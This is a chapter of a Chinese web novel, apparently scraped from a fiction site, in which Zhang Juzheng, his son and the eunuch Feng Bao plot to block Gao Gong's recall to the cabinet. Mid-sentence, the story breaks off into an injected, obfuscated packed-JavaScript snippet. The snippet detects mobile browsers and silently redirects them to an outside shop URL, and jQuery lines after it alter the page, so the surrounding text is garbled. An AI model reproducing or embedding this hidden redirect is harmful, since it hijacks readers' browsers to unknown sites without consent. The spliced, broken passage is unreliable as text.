16.第 16 章

作品:《我爹,大明首辅张居正

    冯保眉毛皱在一起,俊白的脸上写满惊恐,他一揖到底。


    “永亭,做什么慌成这样?”张居正满脸莫名,朝中大事在脑海中转了几圈,没发现异常。


    考成法稳扎稳打在推行,这一条鞭法和摊丁入亩在筹备阶段,要等官员肃清才能进行。


    冯保捧着张敬修递过来的热茶,连喝了两口,煞白的面色才恢复些许红润。


    他满脸凝重道:“今日天幕所言,从福王被烹到王朝覆灭,让太后娘娘和皇上心中惶恐不安,想要召高拱回内阁!”


    高拱被他使计赶出朝堂,要是能回来,肯定在第一时间要了他冯保的小命!


    冯保见父子二人沉默不语,连忙道:“何止是我的危机,他回内阁做首辅,你该如何自处?退回次辅你可甘心?”


    在这方面,两人确实有共同的忧虑。


    张居正神色一凛,他此前没有接到风声,能得知此消息,提前应对,可见和冯保交好的好处。


    太后真是病急乱投医。


    冯保急得嘴角起了两个大燎泡,心底生出不安,看向张居正那镇定自若的眼神,他心也跟着定了定。


    “若能解决此事,永亭往后唯首辅马首是瞻,无论何事,再无半分推辞。”


    冯保满脸恳切地开口。


    张敬修眸色微深,他在心中思忖,如果冯保彻底倒向他们这边,那行事确实方便很多。


    张居正面色平淡。


    他白皙修长的手指端起茶盏,轻轻地啜饮一口,这才开口:“我素来敬重你,你心中有良知,是个很难得的人才,你如今有了危机,我自然要帮衬你。”


    “还请太岳救我。”冯保连忙道:“若能渡过难关,太岳对我有再造之恩,心中再不敢忘。”


    他躬身,递上一个礼单。


    张居正瞥了一眼:“冯内相大气。”


    礼单上,金银珠宝不胜其数。


    窗外,云黑星沉。


    夜色愈发浓厚起来,蜡烛在室内晃动着微光。


    “欲召高阁老归京?”


    烛光映在张居正脸上,他瘦削的脸颊上,光线明灭不定。


    “这和你我有什么关系呢?该高兴的应当是周王才对。”


    冯保呆呆地啊了一声,有些没听懂。


    他凝神思考。


    “周王……”冯保激动地一拍大腿:“是了!高拱回朝后,虽然能将我拉下来,但是在太后眼中,未尝不能捧起周王,你如今在首辅之位这样妥帖,事事办得极好,她没必要冒着风险去召高拱回京!”


    冯保得了话头,心里闪过许多阴谋,他这回作揖显得格外佩服:“太岳才思敏捷,永亭自愧弗如!”


    他高高兴兴地走了。


    此事不容耽搁。


    张居正让游七送冯保离开,书房中,便只剩下父子二人。


    “爹,你早些休息。”张敬修见夜色深了,有些困倦地打着哈欠跑路。


    他抬脚要走,就听张居正清朗的低音徐徐响起。


    “敬儿,你觉得还有什么法子?”


    张敬修懒洋洋地打着哈欠,眼角挤出一滴水雾,看了他爹一眼:“坑人嘛,无非栽赃陷害,小罪名把他送进去,大罪名把他九族送进去……”


    张居正点头:“不错,我还担心你太过仁善。”


    *


    夜半。


    张敬修从妻子怀里坐起来,拍着大腿生气。


    “可恶!我爹骂我!”


    他睡梦中才反应过来,什么担心他太过仁善,分明是骂他优柔寡断!


    张敬修把香香软软的妻子重新搂回怀里,闭眼,磨着后槽牙重新入睡。


    他连栽赃陷害的招都出了!


    隔日,他一睡醒,就去找他爹说清楚。


    他咽不下这口气。


    历史上现成的战术摆在他面前,他要掏出来给他爹看,吓他爹一大跳。


    张敬修刚出门就瞧见马车要走,连忙窜进去,找他爹对线:“你昨夜问我,我觉得应该找个大侠入宫行刺,然后按在高拱头上,他有铁脑袋也没用!”


    张居正眸光深晦,静静地看着他,片刻后闭眼:“嗯。”


    张敬修:……


    他那眼神在看二傻子,他懂。


    *


    太和门前。


    每日早朝例会,万历从未缺席。


    他就算坐着打盹,人也要一直在,张居正从经验值已经预测了考成法的推进,知道已经下发各省,还组织人实行了。


    但是接到奏事折子,还是觉得高兴。


    早朝无甚可说,便各自下朝了。


    一连两日,朝中都很平静。


    张居正猜测冯保何时会动手,就被太后传召了。


    临入乾清宫前,他看了一眼来请人的冯保。


    两人彼此对上眼神,心里就有数了。


    李太后嘴角挂着两个大燎泡,显然也是很不平静。


    “张大学士,你说大明会亡吗?”


    张居正眨眨眼:“太后娘娘和皇上有天幕在手,提前知晓天下事,何必忧心至此?”


    李太后:“可大明要亡了。”


    之前听时,能察觉戏谑成分比较多,她心中并不担忧。


    但此番再听,福王被烹,大明是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679138|188527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真亡了。


    她不想让大明江山断送到她母子手里。


    冯保上前奉茶。


    张居正满脸严肃地作揖:“皇上,太后娘娘,恕臣直言,既然天幕说,考成法、一条鞭法、良种能救大明,我们照做便是,臣相信大明的满朝文武不会眼睁睁看着家国覆灭。”


    李太后的心定了。


    她从折子中抽出一张纸,皱着眉头道:“我原想请高阁老回京,却查出他和周王往来信件频繁,关系密切……”


    虽然没有透露出改立的事,到底让她心里不安。


    不能让他回来。


    张居正面上十分震惊:“高阁老为人坦率正直,又有天幕背书,是个很好的良臣,不曾想,竟会和周王来往密切,真是令人惋惜。”


    他神色间露出几分愤慨。


    李太后点头:“是啊,再好的臣子,也得忠心才是。”


    张居正立马束手:“臣对皇上、太后娘娘的忠心如同松柏之贞,岁寒不移。生死从君,永无贰志!”


    李太后盯着他坚定的眼神,信了。


    张居正是她一手提拔起来的臣子,最是听话忠心,办事可靠。


    李太后眼神渐渐聚焦,一直慌乱的心也有了归处。


    “罢了,你去忙吧。”她摆手。


    张居正告退离去,一旁的冯保很自然地跟着出来了。


    张居正笑了一下,就见冯保有些心虚地眨眨眼:“此番暂且压下,还得一劳永逸才是。”


    张居正摆摆手,没说话。


    他大踏步回内阁了。


    冯保两手一揣,在心里吹个口哨,眼睛中满是笑意。


    危机暂时解除。


    他还得跟张江陵好好学学,这养气功夫,他拍马难及。


    *


    张府。


    张敬修已经选好火锅店的地址,开始装修了,他花许多经验值买了火锅底料的配方,现在在研究小料台。


    那些牛肉酱、菌菇酱、剁椒酱等,都是他先前的最爱,这时代还没多少。


    今日交代厨房去做,现在都摆在他面前。


    “唔,好好吃。”


    许久没被高科技捶打过的味蕾,在接触到刺激时,就诚实地迸发出愉悦感。


    他拿着春饼卷素肉,铺上一层剁椒酱,香得没空说话。


    满身疲惫、精神荼靡的张居正一回家:……


    这孩子真是吃喝精通啊。


    张居正喉结微动。


    看他吃这么香,也有些意动。


    张敬修抬眸,看向他爹:“爹,你也想吃?”


    张居正:“……想。”